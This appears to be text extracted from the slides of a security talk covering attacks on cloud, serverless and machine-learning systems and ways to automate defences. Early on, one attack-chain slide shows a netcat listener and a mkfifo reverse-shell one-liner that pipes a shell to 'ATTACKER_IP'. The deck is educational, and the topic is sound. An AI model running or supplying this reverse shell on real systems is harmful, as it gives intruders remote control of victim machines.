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INTRODUCTION



SHORT-TERM FINANCIAL 
OBJECTIVES VERY HIGH

LONG-TERM FINANCIAL 
OBJECTIVES HIGH

CLIENT AND CUSTOMER 
HAPPINESS HIGH

COMPLIANCE LOW





nc -nvl 14344

ATTACKER MACHINE VICTIM MACHINE / RESOURCE

MALICIOUS 
FILE

mkfifo /tmp/ABC; 

cat /tmp/ABC | /bin/sh -i 2>&1 | nc ATTACKER_IP 14344 > /tmp/ABC



CYBERSECURITY 
ATTACK CHAIN





MANUAL 
APPROVAL

AUTOMATED PIPELINES!



UNDERSTANDING 
WHAT ATTACKS 
ARE POSSIBLE





ATTACKS ON CLOUD RESOURCES

CONTAINER ORCHESTRATION 
SECURITY MISCONFIGURATION

NETWORK SECURITY MISCONFIGURATION

INEFFECTIVE LOGGING AND MONITORING

CI/CD PIPELINE 
SECURITY ISSUES

SENSITIVE DATA EXPOSURE

INSECURE SECRET STORAGE





ATTACKS ON 
SERVERLESS APPLICATIONS

BROKEN AUTHENTICATION

CODE INJECTION

SQL INJECTION

SENSITIVE DATA EXPOSURE

SECURITY MISCONFIGURATION

USING COMPONENTS WITH KNOWN 
VULNERABILITIES

DENIAL OF WALLET



MACHINE LEARNING SERVICE

CUSTOM CODE DOCKER
CONTAINER IMAGE

ML INFERENCE 
ENDPOINT

CONFIGURATIONMODEL 
ARTIFACTS



MACHINE LEARNING SERVICE

CUSTOM CODE DOCKER
CONTAINER IMAGE

ML INFERENCE 
ENDPOINT

CONFIGURATIONMODEL 
ARTIFACTS

ATTACKS ON 
DATA PRIVACY & MODEL PRIVACY

Model inversion attack

Model extraction attack

Membership inference attack

Attribute inference attack

De-anonynimization



SECURITY 
AUTOMATION 
STRATEGIES



AUTOMATE 
EVERYTHING?



MANUAL 
APPROVAL

AUTOMATED PIPELINES!



MANUAL 
APPROVAL

AUTOMATED PIPELINES!POISONED PIPELINE EXECUTION

😱



PRINCIPLE OF 
LEAST PRIVILEGE





BUILD YOUR OWN TOOLS?



1 + 1 = 2

AUTOMATED DATA 
INTEGRITY LAYER



DATABASE

USER

CUSTOM DATA INTEGRITY 
CHECKER SCRIPT



AUTOMATED
VULNERABILITY 

MANAGEMENT



VULNERABILITY 
ASSESSMENT TOOL



VULNERABILITY 
ASSESSMENT TOOL

[BONUS]
AUTOMATED REPORT 

GENERATION!



LOGS 
STORAGE

RESOURCE RESOURCERESOURCE

DASHBOARD



(SECURE)
INFRASTRUCTURE AS CODE



{
  'key': 'value'
}
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{
  'key': 'value'
}

IAM ROLE CLOUD 
RESOURCE

IAM ROLE CLOUD 
RESOURCE

IAM ROLE CLOUD 
RESOURCE

IAM ROLE CLOUD 
RESOURCE

IAM ROLE CLOUD 
RESOURCE



HOW ABOUT 
PRIVILEGE ESCALATION?



CONTINUOUS 
SECURITY MONITORING
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